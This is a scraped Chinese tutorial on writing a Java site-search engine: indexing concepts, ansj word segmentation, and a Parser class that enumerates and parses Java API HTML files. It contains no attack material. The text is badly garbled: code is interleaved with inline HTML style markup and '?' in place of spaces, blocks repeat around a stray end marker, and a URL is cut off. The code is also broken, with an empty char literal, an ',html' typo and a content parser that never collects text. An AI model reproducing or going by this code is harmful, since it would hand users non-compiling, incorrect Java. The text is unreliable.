break-word !important;" />??????????System.out.println(fileList.size());<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????//2.針對上面羅列出的文件,打開(kāi)文件,讀取文件內容,并進(jìn)行解析<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????for?(File?f:fileList){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????????System.out.println("開(kāi)始解析"+f.getAbsolutePath());<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????????parseHTML(f);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????//3.把在內存中構造好的索引數據結構,保定到指定的文件中。<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????private??String?parseTitle(File?f)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????String?name=?f.getName();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????return?name.substring(0,f.getName().length()-5);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????private??String?parseUrl(File?f)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????String?part1="https://docs.oracle.com/javase ... %3Bbr style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????String?part2=f.getAbsolutePath().substring(INPUT_PATH.length());<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????return?part1+part2;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????private??String?parseContent(File?f)?throws?IOException?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????//先按照一個(gè)一個(gè)字符來(lái)讀取,以作為開(kāi)關(guān)<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????try(FileReader?fileReader=new?FileReader(f))?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????//加上一個(gè)是否拷貝的開(kāi)關(guān).<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????boolean?isCopy=true;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????//還需要準備一個(gè)結果保存<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????StringBuilder?content=new?StringBuilder();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????while?(true){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????//此處的read的返回值是int,不是char<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????//如果讀到文件末尾,就會(huì )返回-1,這是用int的好處;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????int??ret?=?0;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????try?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????ret?=?fileReader.read();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????}?catch?(IOException?e)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????e.printStackTrace();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????if(ret==-1)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????????break;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????char?c=(char)?ret;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????if(isCopy){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????????if(c==''){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????????????isCopy=true;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????return??content.toString();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????}?catch?(FileNotFoundException?e)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????e.printStackTrace();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????return?"";<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????private?void?parseHTML?(File?f){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????//解析出標題<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????String?title=parseTitle(f);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????//解析出對應的url<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????String?url=parseUrl(f);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????//解析出對應的正文<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????try?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????String?content=parseContent(f);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????}?catch?(IOException?e)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????e.printStackTrace();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????//第一個(gè)參數表示從哪里開(kāi)始遍歷?//第二個(gè)表示結果。<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????private?void?enumFile(String?inputPath,ArrayListfileList){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????File?rootPath=new?File(inputPath);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????//listFiles?能夠獲取到一層目錄下的文件<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????File[]?files=?rootPath.listFiles();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????for(File?f:files){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????//根據當前f的類(lèi)型判斷是否遞歸。<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????//如果f是一個(gè)普通文件,就把f加入到fileList里面<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????//如果不是就調用遞歸<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????if(f.isDirectory()){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????????enumFile(f.getAbsolutePath(),fileList);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????}else?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????????if(f.getAbsolutePath().endsWith(".html"))<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????????fileList.add(f);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????public?static?void?main(String[]?args)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????//通過(guò)main方法來(lái)實(shí)現整個(gè)制作索引的過(guò)程<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????Parser?parser=new?Parser();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????parser.run();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />}
--- EOF --- 查看全部
編寫(xiě)一個(gè)Java站內搜索引擎系統
如果用我們的小服務(wù)器去搞百度,搜狗那種引擎肯定是不行的,那些屬于全網(wǎng)搜索,我們這里做一個(gè)站內搜索。類(lèi)似于我們對網(wǎng)站里的資源進(jìn)行搜索。
一、搜索引擎怎么搜索
搜索引擎就像一個(gè)小蜜蜂每天不停的采摘蜂蜜,就是去爬蟲(chóng)各個(gè)網(wǎng)頁(yè),然后通過(guò)爬取之后建立索引,以供于我們去搜索。建議大家別爬蟲(chóng)要不然被告了。
這里我們可以使用Python,或者下載文檔壓縮包。
為什么要用索引呢?
因為爬的數據太多了,不索引,難道去遍歷嗎?時(shí)間復雜度太大了。
這里我們需要建立索引,索引分別為正排索引,和倒排索引。
拿LOL舉個(gè)例子吧,正排就相當于,我們提到無(wú)極劍圣的技能就可以聯(lián)想到
故根據名字選技能
倒排索引就是LOL里面誰(shuí)有劍
蠻王無(wú)極劍圣劍姬
故根據特點(diǎn)選擇英雄
二、模塊劃分1、索引模塊
1)掃描下載到的文檔,分析內容,構建出,正排索引和倒排索引。并且把索引內容保存到文件中。
2)加載制作i好的索引。并提供一些API實(shí)現查正排和查倒排這樣的功能。
2、搜索模塊
1)調用索引模塊,實(shí)現一個(gè)搜索的完整過(guò)程。
3、web模塊
需要實(shí)現一個(gè)簡(jiǎn)單的web程序,能夠通過(guò)網(wǎng)頁(yè)的形式和用戶(hù)進(jìn)行交互。
包含了前端和后端。
三、怎么實(shí)現分詞
分詞的原理
1、基于詞庫
嘗試把所有的詞都進(jìn)行窮舉,把這些結果放到詞典文件中。
2、基于統計
收集到很多的語(yǔ)料庫,進(jìn)行人工標注,知道了那些字在一起的概率比較大~
java中能夠實(shí)現分詞的第三方工具也是有很多的
比如ansj(聽(tīng)說(shuō)唱的兄弟可能聽(tīng)過(guò)ansj,哈哈)這個(gè)就是一個(gè)maven中央倉庫的分詞第三方庫。
我們直接下載最新版本然后放入pom.xml里面
test包里直接操作:我們使用這個(gè)測試代碼直接搞。試一下這個(gè)包咋用。
import?org.ansj.domain.Term;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import?org.ansj.splitWord.analysis.ToAnalysis;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import?java.util.List;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />public?class?TastAnsj?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????public?static?void?main(String[]?args)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????String?str?=?"易大師是一個(gè)有超高機動(dòng)性的刺客、戰士型英雄,擅長(cháng)利用快速的打擊迅速擊潰對手,易大師一般打野和走單人路,作為無(wú)極劍道的最后傳人,易可以迅速砍出大量傷害,同時(shí)還能利用技能躲避猛烈的攻擊,避開(kāi)敵人的集火。";<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????List?terms?=?ToAnalysis.parse(str).getTerms();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????for?(Term?term?:?terms)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????System.out.println(term.getName());<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />}
四、文件讀取
把剛剛下載好的文檔的路徑復制到String中并且用常量標記。
這一步是為了用遍歷的方法把所有html文件搞出來(lái),我們這里用了一個(gè)遞歸,如果是絕對路徑,就填加到文件鏈表,如果不是就遞歸,繼續添加里面的值。
import?java.io.File;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import?java.util.ArrayList;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />//讀取剛剛文檔<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />public?class?Parser?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????private?static?final??String?INPUT_PATH="D:/test/docs/api";<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????public??void?run(){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????//整個(gè)Parser類(lèi)的入口<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????//1.根據路徑,去枚舉出所有的文件.(html);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????ArrayList?fileList=new?ArrayList();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????enumFile(INPUT_PATH,fileList);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????System.out.println(fileList);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????System.out.println(fileList.size());<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????//2.針對上面羅列出的文件,打開(kāi)文件,讀取文件內容,并進(jìn)行解析<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????//3.把在內存中構造好的索引數據結構,保定到指定的文件中。<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????//第一個(gè)參數表示從哪里開(kāi)始遍歷?//第二個(gè)表示結果。<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????private?void?enumFile(String?inputPath,ArrayListfileList){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????File?rootPath=new?File(inputPath);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????//listFiles?能夠獲取到一層目錄下的文件<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????File[]?files=?rootPath.listFiles();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????for(File?f:files){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????//根據當前f的類(lèi)型判斷是否遞歸。<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????//如果f是一個(gè)普通文件,就把f加入到fileList里面<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????//如果不是就調用遞歸<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????if(f.isDirectory()){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????????enumFile(f.getAbsolutePath(),fileList);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????}else?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????????fileList.add(f);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????public?static?void?main(String[]?args)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????//通過(guò)main方法來(lái)實(shí)現整個(gè)制作索引的過(guò)程<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????Parser?parser=new?Parser();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????parser.run();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />
我們嘗試運行一下,這里的文件也太多了吧,而且無(wú)論是什么都打印出來(lái)了。所以我們下一步就是把這些文件進(jìn)行篩選,選擇有用的。
else?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????if(f.getAbsolutePath().endsWith(",html"))<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????fileList.add(f);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />
這個(gè)代碼就是只是針對末尾為html的文件,下圖就是展示結果。
4.1 打開(kāi)文件,解析內容。
這里分為三個(gè)分別是解析Title,解析Url,解析內容Content
4.1.1解析Title
f.getName()是直接讀取文件名字的方法。
我們用的name.substring(0,f.getName().length()-5);為什么要用總的文件名字長(cháng)度減去5呢,因為.HTML剛好就是五。
private??String?parseTitle(File?f)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????String?name=?f.getName();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????return?name.substring(0,f.getName().length()-5);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />
4.1.2解析Url操作
這里的url就是我們平時(shí)去一個(gè)瀏覽器輸入一個(gè)東西下面會(huì )有一個(gè)url,這個(gè)url就是我們的絕對路徑經(jīng)過(guò)截取獲得出我們的相對的目錄,然后與我們的http進(jìn)行拼接,這樣就可以直接得到一個(gè)頁(yè)面。
private??String?parseUrl(File?f)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????String?part1="https://docs.oracle.com/javase ... %3Bbr style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????String?part2=f.getAbsolutePath().substring(INPUT_PATH.length());<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????return?part1+part2;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />
4.1.3解析內容
以為開(kāi)關(guān)進(jìn)行對數據的讀取,以int類(lèi)型讀取,為什么要用int而不是char呢因為int類(lèi)型讀完之后就變成-1可以判斷一下是否讀取完畢。
具體代碼如下很容易理解。
private??String?parseContent(File?f)?throws?IOException?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????//先按照一個(gè)一個(gè)字符來(lái)讀取,以作為開(kāi)關(guān)<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????try(FileReader?fileReader=new?FileReader(f))?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????//加上一個(gè)是否拷貝的開(kāi)關(guān).<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????boolean?isCopy=true;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????//還需要準備一個(gè)結果保存<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????StringBuilder?content=new?StringBuilder();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????while?(true){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????//此處的read的返回值是int,不是char<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????//如果讀到文件末尾,就會(huì )返回-1,這是用int的好處;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????int??ret?=?0;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????try?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????ret?=?fileReader.read();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????}?catch?(IOException?e)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????e.printStackTrace();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????if(ret==-1)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????????break;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????char?c=(char)?ret;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????if(isCopy){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????????if(c==''){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????????????isCopy=true;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????return??content.toString();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????}?catch?(FileNotFoundException?e)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????????e.printStackTrace();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????????return?"";<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />
這一模塊總的代碼塊如下:
import?java.io.File;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import?java.io.FileNotFoundException;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import?java.io.FileReader;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import?java.io.IOException;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import?java.util.ArrayList;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />//讀取剛剛文檔<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />public?class?Parser?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????private?static?final??String?INPUT_PATH="D:/test/docs/api";<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????public??void?run(){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????//整個(gè)Parser類(lèi)的入口<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????//1.根據路徑,去枚舉出所有的文件.(html);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????ArrayList?fileList=new?ArrayList();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????enumFile(INPUT_PATH,fileList);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????System.out.println(fileList);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????System.out.println(fileList.size());<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????//2.針對上面羅列出的文件,打開(kāi)文件,讀取文件內容,并進(jìn)行解析<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????for?(File?f:fileList){<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????????System.out.println("開(kāi)始解析"+f.getAbsolutePath());<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????????parseHTML(f);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????//3.把在內存中構造好的索引數據結構,保定到指定的文件中。<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????}<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />????private??String?parseTitle(File?f)?{<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />??????????String?name=?f.getName();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />?????????return?name.substring(0,f.getName().length()-5);<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br 